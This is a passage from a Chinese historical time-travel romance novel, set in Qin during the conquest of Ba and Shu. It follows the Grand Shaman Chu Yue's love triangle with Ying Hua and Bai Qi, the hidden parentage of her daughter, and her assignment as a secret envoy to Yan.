楚越很意外,“你在哪儿看到她的?” “我去见王后,在院中见过她,荡公子抱着她,叫她妹妹。” 楚越‘噗嗤’声笑了出来。 要死,什么称呼?叫自己姐,叫她生的孩子妹。 “你去见王后做什么?可是要为你保媒?” 出来之前,王后曾向她打听过魏冉的情况,楚越多嘴问了一句,原是公孙奭拗不过妹妹,到底松口,想请王后做媒。 “你知道?”魏冉很意外。 “两位公孙都已经过及笄,十六岁,正是当婚之年,再拖,就拖成怨女了,公孙奭可不想让她们变得跟我一样。” 大龄单身女青年,是会被嘲笑的。 但拖也未尝不是个好办法,总有人会妥协的,当日王后就曾短暂的妥协过,派人去打听 白起近况。 魏冉叹口气,“哎呀!秦国那么多人,怎么就偏偏看上我跟白起了?” 楚越轻笑一声,回头看了一眼,两个人,都还昏迷不醒。 她这才道:“说明你们很有潜力啊,你们若是娶了公孙,岂非能一飞冲天,战功重要,但能打仗的人多了,要想崭露头角,契机也不可或缺,成为秦宗室,难道还少的了机会吗?” “不行,我有心上人了。”魏冉断然拒绝道。 楚越很意外,“嗯?” 魏冉深吸口气,咬咬牙,鼓起勇气,对楚越道:“我求求你,你能不能帮我跟婼提亲,你让她嫁给我吧!” “啊?” 楚越抬手,打断了魏冉的话,“等一下。” 谁跟谁? 婼和魏冉? 她不是和孟守?楚越分明见两人眉来眼去,眼神都要拉丝了。 cp磕错了?魏冉一厢情愿? 还是姐妹一次谈了两个男人?那姐妹也太牛了? 楚越一时拿不准,只能道:“这个事,回去再说。” “你们怎么会出现在这里?是后续又增兵了吗?秦军现在到哪儿了?”楚越一直想问,但事况紧急,从昨天到现在,她一直没机会问两人。 “有苴国做内应,秦国打下蜀国的速度很快,入蜀道路不平,粮草押运艰难,我跟白起就自动请缨来了,恰逢相邦收到前线司马将军密函,他担忧你与公子,于是派我二人率人前来接应,谁料我俩还没进城,就见巴军在追捕你们,我们跟了一路,才找到你们。” “至于我军到哪儿了,我也不知道,但看样子,应该快攻破巴都了。” 楚越点点头,又想了会儿,认真问道:“所以你俩,是逃婚过来的?” “不然呢?” 魏冉没好气转过头去,不再看楚越,“别说公孙,嫁个公子、王女给我我也不要。” 说完,他又忽然想起了什么,迅速看向楚越,“我没有别的意思。” 楚越本来没想到,魏冉这么一补充,反而让她明白了。 “你敢嘲讽我?” 楚越瞪了魏冉一眼,冷笑声,愤愤将手里啃了一口的果子砸回他怀中,“还给你!我这个薄情的人,不配吃你这忠贞之士的果子。” 说罢,她丢下魏冉,独自出洞。 洞外,猿鸣回荡,大雾绕在山腰,山下,一行人撤退匆忙,马车侧翻,却无人救援,魏冉追了出来,也发现山下那队人马。 二人对视一眼,秦军主力,距他们并不遥远了。 “巴人会不会向楚国求援?” 楚越摇头,“楚人未必会出兵,当年,楚国就被耍了一次,巴国内乱,向楚国请求援助,许之三城,但事成之后,巴人反悔,他们的首领巴蔓子,宁可将自己的头颅献上,也不能让三城【1】。” “还有这事?”魏冉显然没听说过。 楚越点头,“有,我出发之前,将此事告知了相邦,相邦传书驻楚秦使,一旦巴人求救,我使者肯定会提及此事,楚王势必会心存疑虑。” 他们在山中藏了半个月,秦军势不可挡,借灭蜀余威,大军长驱直入,攻破巴都,巴王率太子退往陪都,楚越从魏冉抓来的逃兵处得知秦军已经控制巴都,才决定从山下下来。 司马错闻讯,亲自来接,嬴华已经清醒过来,但还是十分虚弱,楚越扶着他,两人扶起行礼的司马错,“将军不必多礼,一路辛苦。” “公子这是?” 嬴华道:“小伤,无碍。” “还请大司巫与公子入城修整。” 巴宫中已经换了天地,楚越将嬴华安置妥当,这才去沐浴更衣,在山上待了半个月,她快要成野人了,温泉水洗去身上污垢,宫人捧上崭新的楚锦衣袍。 这里的贵族,真比秦国的贵族会享受。 换完衣服,楚越又去看嬴华,巫医应该已经为他诊过脉,自己去,刚好可以获知结果。 “夫人,公子的伤并无大碍。” 楚越点头,下山之前,嬴华身上的伤口就已经结痂,脸色也渐渐恢复。司马错不放心,又请了一堆名医。 “你们将公子的状况告知司马将军,请他不要担心。” 巫医们走后,楚越坐到嬴华床边,两人看了对方一眼,各自低下头去,白起的出现,让他们之间的气氛再度陷入尴尬的境地。 尤其是在得知白起是为了救自己才中毒后,嬴华看楚越的目光愈发凝重、复杂。 白起望向楚越的目光,也总是带着莫名的惆怅与哀伤,仿佛,他已经失去她了。 三个人的故事,太过拥挤。 “我想出去走走。”嬴华先开口,打破了屋中的沉寂。 巴宫的荷花,比起馆驿,有过之而无不及,临水三面邻水,悬挂轻纱帷幔,阻隔蚊虫,微风吹过,荷池中莲叶荷花起伏,香风阵阵,穿过轻纱,钻到人的鼻中。 “山有扶苏,隰有荷华。不见子都,且见狂且【2】。” 嬴华忽然自嘲一笑,又将这句话念了一遍,原本是爱人之见打趣的话,说没看见美男子,却看见眼前这轻狂之人。被他这么一念,反变了味道。 楚越深吸口气,压下心头怒火。 不能跟病人较量,尤其这病人还是为自己受的伤。 “他知道吗?”嬴华忽然问道,没等楚越回答,他又道:“他应该不知道珠珠的身世,你不会告诉他,因为你想让珠珠成为秦国公孙。” “不可以吗?”楚越反问道,“我为大秦流血,九死一生,我的孩子,为什么不能成为公孙?因为公孙是按血脉,不是功绩吗?” “你知道我不是在说这个。”嬴华语气中,已经带着愠怒。 “那你要说什么?”楚越也怒了,她的怒火比嬴华更盛,这段时间,她装没看见两人的目光,已经忍到了极致。 “少在我面前阴阳怪气,仿佛我做了什么对不起你的事情。” “这是你的错,是你造就了你自己的痛苦。” “在我最爱你的时候,在我满心欢喜,不惜编造谎言也要达到目的的时候,你感动于季孟一番慷慨陈词。你既然都信了,就干脆这辈子都信了不好吗?” 楚越闭眼,分明在过去无数个黑夜中,已经流泪到干涸的眼眶,又重新湿润起来。 进入巴国,找到了一个或许是自己穿越的真相。 往事,也不可避免重新浮上心头。 楚越的心中很混乱,一边是过去,强烈的爱恨,扰乱她的心绪,一边是对白起的承诺,她在十字路口,不知何去何从。 “我说过,你的感情,像一面铜镜。” “那面镜子,时时刻刻提醒我,我的嫉妒、疯狂甚至是恶毒,我一看到你,我就想起过去,想起在我最喜欢你的时候,你离开我的样子。” 他们之间隔着满目疮痍的自己。 隔着愤怒、眼泪、怨憎。 而那些汹涌的情绪,全来自于多年前,那份执着的爱和理想的世界。 那脆弱的、理想的自己不死,狼狈的藏在黑暗中,时时刻刻等着从黑暗中走出来,指责这些年,楚越的作为。 作为一个现代人,她现在满手血腥,杀人如麻,钻营权位,出卖灵魂。 “收回你的感情,拿它去对别的女人吧,现在,你要找的姬荷已经死了,而我,也无法和你在一起,该死心了。”楚越拒绝了嬴华。 “我会帮你,让你活下去,成为秦国封君,当然,这也是在帮我自己。做不了夫妻,可以做同盟。等到时机合适的时候,就分开吧。” 嬴华忽然抓住楚越的手腕,面对她提出的建议,嬴华不愿意接受,他一定要逾越雷池,走到爱与恨剧烈碰撞的禁地。 “当时你只是个孩子啊,我就算知道,又能如何?” “不管你变成什么样子,我都爱你,哪怕你恨我,恨到想要杀了我。你恨我,也是因为你还爱我,不是吗?你恨的,是那个不爱你的我。” 楚越望着眼前,以前觉得,自己喜欢他,而他不喜欢自己,自己爱而不得,是这世间最痛苦的事情,可现在,楚越发现,原来世上最令人痛苦的,不是不爱,而是爱。 她面无表情的用力,想要挣脱嬴华的桎梏,但他不松手,楚越恼了,“松手,不松手我动手了。” 风忽然重了起来,晴日里,忽然响起一阵沉闷雷声,宫人匆匆上前,提醒两人道:“公子,夫人,回去吧,要下雨了。” 巴蜀之地,天地变化很快,窗外风雨交加,屋中响动也不轻,两 人争吵声愈发明显,但嬴华显然说不过楚越。 一声惊雷,震得嬴华心口一颤,他不可置信望着眼前愤怒的女子,闪电中,她的面目居然显得有些狰狞。 第54章 三人行(2)拥挤的世界谁先出局?…… “你要毁了我吗?”楚越对嬴华吼道。 她已经在失控的边缘,逻辑自洽的人,经不起外界任何碰撞,一点点震撼,都可能让她陷入世界崩塌的境地。 说罢,她不再打算和嬴华说下去,夺门而出。 雨水被风吹入廊下,落在皮肤上,又冰又凉,楚越一脚踏入水洼,水花溅到脸上,脚下湿意蔓延,她才后知后觉发现,自己想要穿过的长廊,已经浸在湖水下。 湖水漫过廊面,并不深,一脚已经踏入,楚越索性淌水往前走去,对岸,带队巡逻的白起很快注意到了桥面上孤单的楚越。 他在廊中拦住了楚越的去路,“你去哪儿?” 楚越扫了他一眼,面无表情,抬腿越过,白起抓住了她的手臂,加重了语气,“楚越。” “放开。”楚越深吸口气。 “你到底怎么了?”白起追问道。 阵喧嚣传来,两人抬眸,长廊两边,都涌上来一波人,追逐楚越而来的宫人,跟随白起的护卫。 无数道目光朝他们往来,白起仿佛被烫了一下,松开了钳制楚越的手,并仓惶低头,错开与楚越相接的视线。 楚越转头,呵止身后宫人,“不许跟上来。” 锐利的视线,一百八十度转弯,瞪向白起身后护卫,护卫们的步伐,也一时停下。 他们停在长廊尽头,楚越和白起,站在长廊正中,一片摇曳的荷花之中,风吹雨斜,两人身上的衣物,颜色愈发深了。 “你和公子华吵架了吗?”白起忽然问道。 楚越深吸口气,“王后想将公孙嫁给你,你是什么打算?” “我出来的时候,见过嬴随公孙,她长得很像你。” 他们各说各的,谁也没有回答对方在意的话题。 楚越再压抑不住心中的愤怒,“白起!” “你怨我是吗?”她质问道。 “我更怨我自己。”雨水在白起脸上凝结,顺着下巴滴落,他漆黑的双眸,忧伤而深沉。 “是我没有能力改变这一切,公子华将军,是个很好的人,秦国的大英雄,你也有了自己的孩子,一切都在往前” 他越说语气越低落,年少意气,以为世间之事,只要心性坚定,便可以视线,认为有情之人,只要情如磐石,就能守得云开。 白起后来才发现,有些事情,生来就定好了,国君的后人就是公子,落魄的士,即便拼尽全力,也无法与之比肩。 王后、将军们轻飘飘一句话,就可以决定他的命运,他们希望他消失在楚越的世界。 “你过得很好,是我的出现,毁坏了你生活的平静。” 白起动摇了。 看着周围一切,他觉得似乎只有自己,还停留在原地,还做着那个年少荒诞的梦。 什么约定,什么承诺,都是狗屁,即便违反诺言,对方也不会受到任何谴责,她依旧是大司巫,是秦国的宗室,他像是个被戏耍的顽童。 该醒了。心底深处,不断有一道声音,提醒着他。 这个二十多岁的年轻人,望着如山一般,横亘在自己面前的阻碍,第一次感到了有心无力。 楚越望着白起,一时不知道该和他说些什么。 是应该告诉他,不要放弃自己,还是应该告诉他,既然如此,那就到此为止 白起抬眸,紧紧盯着楚越,似乎希望她能说些什么。 乱风吹动芙蕖,凝结的雨水顺着荷叶边缘滴落,水滴坠落湖面的声音嘈杂,天地间,一片混乱,两人站在雨中,彼此相视。 温热的眼泪,和着雨水从面颊流下,白起没有预知未来的能力,不会知道,自己在几十年后,会得到魏冉举荐,扬名天下,成为秦国的武安君。 现在,他只是一个努力积攒军功的寻常秦军将士。 在重新判定了身边的环境之后,他决定更实际的活着。 人最终要向现实低头。 她已经妥协,便不能再要求他。 白起没有错。 楚越不死心,“我没有办法,当日的事情,我没有办法,我是个女人,没办法获得军功爵,又是外姓人,我想要在秦国立足,很难。我没办法改变现状,你也没有办法。将来将来一切都会好的!” “将来在哪里?”白起问道。 “明天,明年,十年!我是否能成为领兵的庶长,尚未可知,说不准,那一天我就死在魏人、楚人、韩人的刀兵下,做了冤魂。” “你的将来也不在这里” 楚越望着白起,“我依旧爱你。” “可那又如何呢?公子夫人?” 这称呼,像一把利剑,残忍斩断了两人之间最后的联系,楚越抿唇,“在你眼里,我到底是什么?” 良久,白起道:“天上的月亮,水中的花,原以为触碰不到,到头来,幻梦一场。” 她倔强的注视白起,心底呼之欲出的秘密,即将脱口而出,身后却传来嬴华的声音,“楚越。” 嬴华一瘸一拐,走得艰难,白起的视线越过楚越,在触到嬴华的一瞬,被愧疚浸泡。 他别开视线,咬牙深吸口气,似乎下定了某种决心,向楚越一抱拳,转身离去。 楚越站在原地,目睹白起的背影消失在雨中 温泉水驱散淋雨的寒气,楚越将口鼻浸入水中,cos一条倔强的鱼,咕嘟咕嘟往外吐着气泡。 果然,能量守恒定理是科学的。 事业成功了,感情就要坎坷了。 她忍不住叹了口气,完全忘记了自己还在水里,温泉水倒灌,她被呛了一下,咳嗽着浮了起来。 “怎么了?”婼放下手中的姜汤,急忙上前扶住她,她扯起件干衣服,裹住楚越,“怎么洗澡还把自己洗呛着了。” 楚越尴尬道:“不小心。” 她重新换了衣服,婼将驱寒的姜汤递到她面前,楚越双手捧住漆碗,小口啜饮。 婼一边帮她收拾换下的衣物,一边问道:“你去见白起了?” “你怎么知道的这么快?”楚越眼珠转了下,“魏冉告诉你的?” “对。” 死魏冉。他怎么不拿个大喇叭满宫喊一圈呢? 幸而他们现在是在巴宫,不是秦宫,这里的宫人,一无所知,而巡逻护卫,一半听命于楚越,余下听命于魏冉,封口不难。 “魏冉向我打听珠珠的情况呢。”婼看向楚越,“他是不是看出了什么?” 楚越愣了一下,不可否认的是,珠珠的确和白起长得有些相似,尤其是那双黑色的眼睛。她和嬴华的瞳色都较浅,和珠珠不一样。 但瞳色,并不能代表什么。 “小孩子一天一个样,他能看出来什么?我怕她是在宫中听到了什么风声,才来打听。”楚越若有所思道。 即便将珠珠的出生日期往后推了两个月,她还是擦着红线出生的。除开十月怀胎,她必须要是在成婚当月怀上,才能刚好是那个点出生。 嬴华多年无子,忽然蹦出来个孩子 “你真不打算告诉白起这件事吗?”婼问道。 楚越想了想,“原本是不打算说的。” “我怕他自责,年少时 心怀远大理想,最终却发现,连自己的爱人和孩子都无法守护。如果是白起知道的话,他一定会非常难过。” 楚越眼眶一酸,廊中一幕再度浮现眼前,刚才在桥上,她本想告诉白起,珠珠的身世。 如若他知道这件事,会怎么样呢? 会动摇得比现在还要早? 他无力到,连自己的孩子也无法相认。 但也许,这孩子也会成为他们继续坚持走下去的希望。 一切都是未知的。 “那你打算告诉他了?”婼轻声问道:“可是公子要是知道了” 楚越迟疑了,“是啊,我要是希望珠珠能够完全拥有秦国公孙的身份,就不能把事情做绝。” 一旦嬴华拒绝认珠珠,她的身份就全毁了。 她不能和嬴华闹得太僵。 楚越想完自己的事情,打量了一眼婼,开口道:“魏冉想让我帮他做媒?” “哦?”婼很好奇,“谁家姑娘?” “你。” 婼惊了一下,指着自己道:“我?” 见婼的反应,楚越料定时魏冉一厢情愿,但接下来婼一番话,又打破了楚越的猜测。 “哎呀,这人,不都跟他说了,到此为止,怎么还要上门提亲,谁要嫁给他。” 原来是一段过期的感情。 前男女友。 轮到楚越吃惊了,她往前凑,盯着婼的眼睛,质问道:“什么时候的事情?我怎么不知道?我还是你的姊妹,你还是我的门客吗?” “就是从义渠回来之后那段时间,没多长时间,后来他跟你送花,我觉得这个人事事听他阿姊的,不可靠,就算了。” 闻言,楚越大惊失色。 啊? 怎么还是因为她? 她这混乱的感情线,又多出了一根线头,这个时候了,魏冉就不要来添乱了好吗? 楚越哭笑不得,“这那那你” “他阿姊是王上的夫人,他就是王上的亲戚,我只是一个草民,怎么能和国君家攀得上亲戚。”婼撇了撇嘴。 “倒也不能这么说,你要是喜欢魏冉,但担心和魏冉门第不对等,我可以帮你想办法。” 身份这个东西,编一编会有的。 魏冉既然敢提亲,就说明他本人是不在乎的。 “你我现在就在巴国,给你安排一个身份,不难。”楚越道。 现在,真理掌握在他们手里,要什么没有。 “巴国是姬姓,周天子的亲戚”楚越忽然想起什么,“不行,魏国也是姬姓,同姓不婚,我得给你找一个别的姓。” “但同不同姓其实也没那么重要,春秋时鲁国的国君就开始娶同姓大夫之女了。巴国之姬和魏国之姬,隔了很多,也不是不能,就稳妥起见,还是找个别的姓氏。” 婼见楚越说的头头是道,一时笑了,“你就看我那么不顺眼,非要找个人把我嫁出去?” “岂敢岂敢。我这是亡羊补牢,将功折过。” 虽然这过也是天上掉下来的黑锅。 “可是我不想嫁给他,我会得罪那个公孙的,我可得罪不起。” 婼提起了嬴缃,楚越脸上的笑容顿时就僵住了。 “嘶。”她倒吸口凉气。 是啊,撮合了这边,她的小迷妹怎么办? “罢了,你们自己的事情,自己解决吧,若有用我之处,尽管开口便是。”楚越放弃了助人为乐,决定专心解决自己的问题。 她的问题,可比婼大的多。 负心白起罪一,代嫡罪二,以私生子冒为婚生子罪三,婚后对丈夫不忠罪四。 幸亏朱熹还没生出来,不然她就完蛋了,道德的低洼地,全让她占了,这还怎么指指点点别人? 楚越换完衣服,重新梳好头发,回到内室,嬴华早在这儿等着她。 “对不起。”嬴华道,“我不该跟你说那些话,你说的没错,是我的错,今天的一切,都是我造成的。” 楚越的心头陡然一软。 矢志不移,出现在了不该出现的地方,即便到了现在,面对自己的仇恨,他依旧,展现了包容。 他这番话一出口,楚越心中燃烧的怒火,被一盆水兜头浇灭。 冷静下来想想,其实过去的事情,也不全是嬴华的错,他只是照着自己命运的方向,往前走罢了。 第55章 送嫁楚越送季孟出嫁 楚越望着嬴华,心想三个人总要出局一个,那这样吧 她出局。 这样一来,所有争端便会终结。 以秦国大司巫身份,另投楚国,想来楚王求贤若渴,一定会高位以待。可这样一来,她就要和嬴华白起为敌胜算的话 大概是 是零啊。 “你们烦死了。”楚越越想越生气,对嬴华抱怨道。 一个男人为什么可以有多个妻子,还有人劝他的妻妾之间和睦,为什么到了女人,两个男人就不能体谅她夹在中间为难,各退一步呢? 有了名分的,想要真情,有了真情的,想要名分。 贪心!太贪心了! 秦军很快攻破了巴国陪都,俘虏巴王、王后、太子及文武大臣,此次出兵历时十月,秦国彻底拿下整个巴蜀之地。 新征之地,秦用怀柔政策羁縻,以蜀公子通[1]为蜀侯,秦人陈庄为相,辅弼之,意在消解蜀人的反抗之心。又册封巴王为巴君,依旧为巴国之长,但派出秦国大臣,作为监视。 从此,巴蜀成为秦的诸侯,不再是独立的国家,巴蜀之地,成为秦国疆土的一部分。 巴蜀大捷,秦军班师,楚越回咸阳首件事,便是入宫去接她的大胖丫头,按照王后饲养人类幼崽的超高技术,她不敢想,自己大大胖丫头,是否会成为一辆半挂,毕竟她和嬴荡少时,就十分壮实。 楚越脚才迈进北宫宫门,便听见一阵笑声从宫内传出,笑声很稚嫩,一听便是稚子之笑,传真无邪,楚越循着笑声,小心走了过去。 秋日阳光明媚,凉风习习,庭院中疯玩的孩子,刚学会走,便急不可耐的跑起来,跌跌撞撞、踉踉跄跄,每一步都落在让人意想不到的地方。 她穿着艳丽而漂亮的新衣,像只花蝴蝶般,在院子里飞来斜去,咯咯笑着,和傅姆做着游戏。 楚越嘴角不妨勾起个弧度,不亏是她的崽,这么皮。 珠珠玩了一会,注意力忽然被一旁抓鱼的大犬吸引,她丢下傅姆,踉踉跄跄跑到了池子边,好奇的望了一阵,而后在众目睽睽下,不顾地上灰土,径直趴了下去,她一边大笑,一边开心的模仿狗刨水面的动作,激烈拍打水面。 一时浪花四溅,一旁大犬被她溅了满脸水,不高兴的走开了。 狗都嫌的年纪,来的有点太快了。 楚越望着眼前这一幕。 心想果然母爱只存在于分别的时候,她现在只想不然过段时间再来接吧。 珠珠很快发现了站在不远处的楚越,站了起来,好奇望向她,王后温柔提醒道:“是阿母。” 楚越走上前,掐了掐她的脸,“珠珠!” 珠珠被掐了一下,不高兴了,一头扎回王后怀中。 坏了,不认识了。 这样也好,她可落得清闲。 “这孩子。”王后笑着,摸了摸珠珠的小脸,宫人拿来席子,楚越理踞而坐。 王后抱着珠珠,目光望向楚越,有些心疼,“瘦了,也黑了,王 上说你在巴国遇刺,中了毒,公子华也负伤,到底是怎么回事。” 楚越想了想,莞尔一笑,“无碍,只是蜀人狗急跳墙。” “我听说公子华是为了救你才受伤的。” 楚越愣了一瞬,垂首答道:“是,当日情况紧急。” “路遥知马力日久见人心,公子华之心,子越可见?” 见,怎么没见。 只是这心,究竟是为了谁?姬荷,还是她?疑惑是,她就是姬荷? 珠珠在王后怀中待了一会儿,便静不住了,她站起来,走到了楚越面前,楚越和王后都望着她,王后道:“她是阿母啊,你不是总念着阿母吗?” 楚越朝面前犹豫的姑娘伸手,对方毫不犹豫,将小手放到了楚越的掌心,她顺势,将软软的小姑娘拉进怀中。 两人相处了一段时间,母女之间血脉的羁绊渐渐显露,珠珠似乎感觉到了什么,不仅让楚越抱,还亲昵的将小脸埋进了她怀中,温软的小脸,贴在怀中那一刹,楚越觉得自己的心仿佛要融化了。 她低头,在珠珠乌黑的发丝上亲了一口。 “就算看在珠珠的面子上,你也不要对公子华太冷淡。”王后劝道,“珠珠一个人,难免孤单,若是能有个弟妹相伴,将来也好相互照应。” 楚越笑道,“有荡公子这个堂兄在,珠珠还怕什么呢?” 大胖丫头又不指望继承父系的财产、爵位,她又没有长生不老的技能点,到点死了,不什么都是她的。 这年头,官位是能继承的,这也就是为什么,楚越那么执着于让她成为秦国的公孙,嬴氏血脉,祭祀先人,理所应当,大司巫的位置,就会落到她头上。 白起虽然也是嬴氏,但他这一直,已经另有新氏,小宗不能祭祀大宗。 王后神情无奈,“子越!” 楚越单手抱着她的大胖丫头,另一手拿着她喜爱的玩具,两人边走边玩,离开了北宫。两人身后,是照顾珠珠的专业保姆团队——以傅姆魏和为首的一堆宫廷女官与宫人。 两人站在北宫檐下,夕阳万丈,珠珠开心指着天边晚霞,望向楚越的一双黑眼睛发亮,“啊~!” 婴语晦涩难懂,楚越点点头,糊弄道:“啊!” 珠珠更高兴了,咿咿呀呀说个不停,楚越望着话痨的女儿,一时笑了,“哈哈哈。”珠珠也笑,笑的比楚越还大声。 两人正笑着,一道英武的身影出现在宫殿前的开阔地,一身玄端,身披金色斜阳,脚踩着这一天终结的暮光,大步向楚越母女走来。 强烈的感觉,冲击着楚越的感官。 那尘封在心底,被压抑的强烈的感觉,重新浮上心头,她又想起了那个傍晚,落日黄昏,暮色沉沉,她站在台阶上,望着天边夕阳,为自己的命运怅惘出神,行人往来,没有一个人止步。 唯有一个少年停下,站在台阶下,好奇望着她。 金色的日光,为玄端上的纹路镀上层温柔,夕阳在分明五官上投下的阴翳,模糊他的脸庞,楚越忍不住,想要看清他的的脸。 十七岁的少年,就这么走到了楚越面前。 看清的那一瞬,心头所有不安一瞬消失,她所怅惘、未知的命运,就这么走到了她面前。 不管将来如何,都要走下去的勇气,昙花一现。 即便看到命运,也甘愿接受的宁静,仅此一次。 嬴华信步走上高台,楚越收回视线,低头看向怀中珠珠,嬴华走到她面前,先看了她一眼,随后顺着她的视线看向珠珠。 他笑着望向珠珠,“叫阿父。” “啊!”珠珠‘凶悍’的朝嬴华大叫了一声,对这个不知道从哪儿蹦出来的‘爹’表达了自己的不满。 嬴华眼中一亮,“好凶的女娃,是我秦人的女子。” 他宽大的手掌,落到了珠珠头上,珠珠挣扎着扭开,不满声更大了。 “啊啊啊!” 嬴华被珠珠骂了一顿,无奈叹口气,“真不愧是阿母生的,一样的凶悍。” 话题陡然扯到了楚越头上,她抬头,望向嬴华,长眉一挑,“凶悍?我对你凶悍了吗?” 嬴华望着她,眼中含笑,“你这还不凶悍吗?” 楚越反应过来,笑了下,“那我就是凶悍了,你要怎样?” 嬴华想了想,没有回答,只是笑着摸了摸珠珠的头,“走,跟阿父回家了。” 他看向楚越,“走。回家了。” 夕阳拉长两人的背影,重叠在一起,落在青砖石上,一只革靴,触到了影子边缘,白起垂下目光,凝视地面灰影,久久不语。 “白起,走了。”魏冉不得不出声道。 两个青年,垂头丧气并行于宫道之上,魏冉叹口气,再抬头,似乎已经接受了自己的命运,他身边的白起,却停下了脚步。 魏冉愣了一下,“怎么了?” “我不会娶公孙的。” “啊?”魏冉很意外,“那你不娶,我也不娶。” 白起蹙眉,“你学我做什么?” “怎么叫我学你,分明是把我的心里话说出来了。” 白起看向魏冉,“你还是算了,你不娶不行。” “那你怎么能不娶?”魏冉很好奇。 “我又没有一位做夫人的姐姐,也没有宗族施压,公孙,也未必真想将妹妹嫁给我,我若拒绝,才合大势。”白起分析的头头是道。 魏冉神情再度沮丧。 白起斜了魏冉一眼,“这么好的事情,哭丧着脸做什么,娶了公孙,何愁前途不畅?” 魏冉咬牙切齿,“你怎么不娶?” 白起干脆道:“不娶。” "你真打算"魏冉欲言又止。 白起看向魏冉,眸光已经冷了,魏冉只得别开视线,“你要当旷夫我能有什么办法?” “不当旷夫。”白起道,“其实我早就该娶妻的,你还记得余吗?” 魏冉点头,眸中一时有些暗淡,“当然记得,没有他,死的就是咱俩。” 余是白起与魏冉的同袍,死的很早。 “他死之前,将他的妻儿托付给我。” 余相信白起,能照顾他的妻子,将他的孩子,视如己出。 这样彼此托付的行为,在各国军中都十分广泛,自己死了,妻子肯定要改嫁,同伍的队友,多半又是同乡,或者相邻地域,是托付后事的不二之选。 死了就是死了,要死的人得想办法给活人找条活路,农业社会,一个家庭承受风险的能力太弱,天上有雨雪风霜,地上有兵匪赋役。 就算是道德绑架,也得绑一下。 “我还未来得及答应他,他便死了,之后,我就遇见了楚越。前段时间,我听人说,他们母子三人过得很艰难。” 魏冉蹙眉,“秦军不是有抚恤吗?” “秦赋泰半,她一个妇人,既要耕种,又要料理家务,抚养两个孩子长大,实在艰难。” 魏冉不再说话了 楚越没在嬴华的府邸住多久,就带着珠珠回到了自己的宅院,在她回来之前,孟氏该人头落地的,就已经人头落地,旁的人,也都被贬为奴隶,为官府劳作。 只留下季孟,还在嬴华府中。 她毕竟是庙见过的嬴氏妇,孟氏之事,也没有确凿的证据,证明与她有关。嬴驷最终将季孟交给了嬴华,命他自行处置。 母家已经没有了,如若嬴华再赶她离开,她就只剩下死路一条。 “这些年,她帮我将宅邸打理的很好,没有功劳,也有苦劳,你就放她一条生路吧。”嬴华面色为难,却依旧求情道。 楚越拍着怀中昏昏欲睡的珠珠,“他于你有苦劳,不是我,我和她有不共戴天的生死之仇,我不杀她,将来她必杀我。” “她怎么杀你?”嬴华显然不信,“你有那么好杀吗?她一个手无缚鸡之力的弱女子,剑都不提起来,怎么杀你?” “滚!”楚越没了耐心,骂道。 嬴华还想说什么,楚越怀中珠珠已经闭上了眼睛,怕吵到孩子睡觉,他到嘴边的话咽了下去。 等到珠珠睡熟,楚越换来亲近女官,让她收拾行囊, 珠珠午睡睁开眼睛,发现自己已经换了地方,一只大猫蹲在窗下,伸长了脑袋打量着她。 珠珠眼睛亮了。 楚越伸手,小虎轻盈一跃,翻进屋来,将脑袋伸到楚越掌心蹭了蹭。 猞猁的短尾巴,毛茸茸的像兔子尾巴,珠珠几次伸出手,想要去抓,小虎不让她抓,她急了,从楚越怀中挣脱,伸手就要去抓小虎。 它跑,她追。 楚越跟着两人走到屋外,婼正指挥诙与几个男门客,搬运重物,腾出空屋,给女官们居住,辛则帮女官们收拾东西。 她的队伍,越来越大了。 就在她失神之际,嬴华风风火火从门外步入。他大步流星,浑身带风,一见到楚越,又怒又无奈。 “你” 楚越挑眉,“我?我怎么?” “你就不能看在我的面子上,放过她吗?”嬴华言辞恳求。 楚越的回答简略,“滚。” 滚出她的府邸。 滚出她的视线。 有多远,滚多远。 “那你想怎么样?” 楚越垂眸,“我不为难她,也不折磨她,没什么一了百了的毒药,白绫也痛苦,匕首,要是下手不对,还是挣扎。让她改嫁去燕国吧。” 起步一千公里。 且燕国国力不强,存在感很弱。 “有秦公主在燕,她也不会过得太差,你觉得呢?” 嬴华有些迟疑,“燕国是不是太远了。” 就在两人僵持之际,门外却忽然传来嬴驷的声音,“寡人觉得可以。” 楚越一惊,匆匆步下台阶,“大王驾临,怎无人通报?门人呢?” 珠珠见嬴驷来了,小跑上前,一把抱住嬴驷的腿,嬴驷弯腰,将珠珠抱起。 他抱着珠珠,对楚越道:“寡人也好奇,你的门人究竟去何处了,寡人进门时,便没看到人,一路畅通,进了内院后,又见众人忙成一团。你这宅院,毫无法度,要是刺客也这么长驱直入,岂非危险。” “是,臣一定好好治理内宅。” 楚越接过珠珠,嬴华将嬴驷迎入屋中,三人分尊卑坐下。 “寡人原本是想去华弟府上,路上却见华弟风风火火往这边来,心想你二人一定是在这边,若是再去,或许要扑空。” “你的伤可好些了?” 嬴华直身,颔首道:“谢王上关怀,臣的伤已经痊愈。” “还有你,你被蜀人行刺,怎地还不知加以防范,你这些门人,都是些酒囊饭袋不成?”嬴驷看向楚越。 楚越当即谢罪,“大王所言甚是,臣一定改。只是臣的门客并非酒囊饭袋,而是方才追随臣从巴蜀归来,困乏疲惫,所以才有失误,也是情有可原,请大王明察。” “你有多少门客?”嬴驷好奇道。 “三十人。” 不是不想养,实在是养不起那么多,烧钱。 一亩地能产出的粮食是有限的,三十个人脱产吃饭,楚越的压力很大。 嬴驷沉吟片刻,“寡人再赐你一百虎贲,充作护卫。” 楚越有些意外,虎贲军,可是精锐,一年耗费钱粮不少,国库出钱养,却听她号令。 大秦向来是不养闲人,给这么多,接下来的任务,一定十分艰巨。 楚越眼珠稍微一转,便大概猜到嬴驷的任务是什么,这与她所想,不谋而合,当即直身,朝嬴驷行礼,“但凭大王驱使。” “燕王哙要禅位子之,诗有《燕燕》,卫国庄姜送妾室戴妫归陈[2],今有你送季孟出嫁,也不失为一桩美谈。” “寡人有意以你为暗使,前往燕国。” 第56章 不动产黄金土地都是她的了 嬴驷一句话,季孟出嫁燕国一事就彻底敲定。 嬴华原就有意,将季孟另嫁她国,这事,最早也是他向楚越提出。 从巴蜀归来之后,嬴华就打消了收养养子,照料季孟后半生的打算,而打算让她改嫁。 季孟韶华不再,不到三十岁的年纪,在现代或许还年轻,但放在古代,稍微早婚一点的女子,这个点已经快当祖母了。这个年纪想改嫁,不容易,所以嬴华才想收养一子,赡养季孟晚年。 没有爱,只能给钱,给待遇。 但巴蜀一行,他想起前世的事来。 三个人的故事已经够挤了,再挤不下第四个。 这虽然是礼崩乐坏的时代,但也没有开放到大家可以一起快乐的生活在一起。 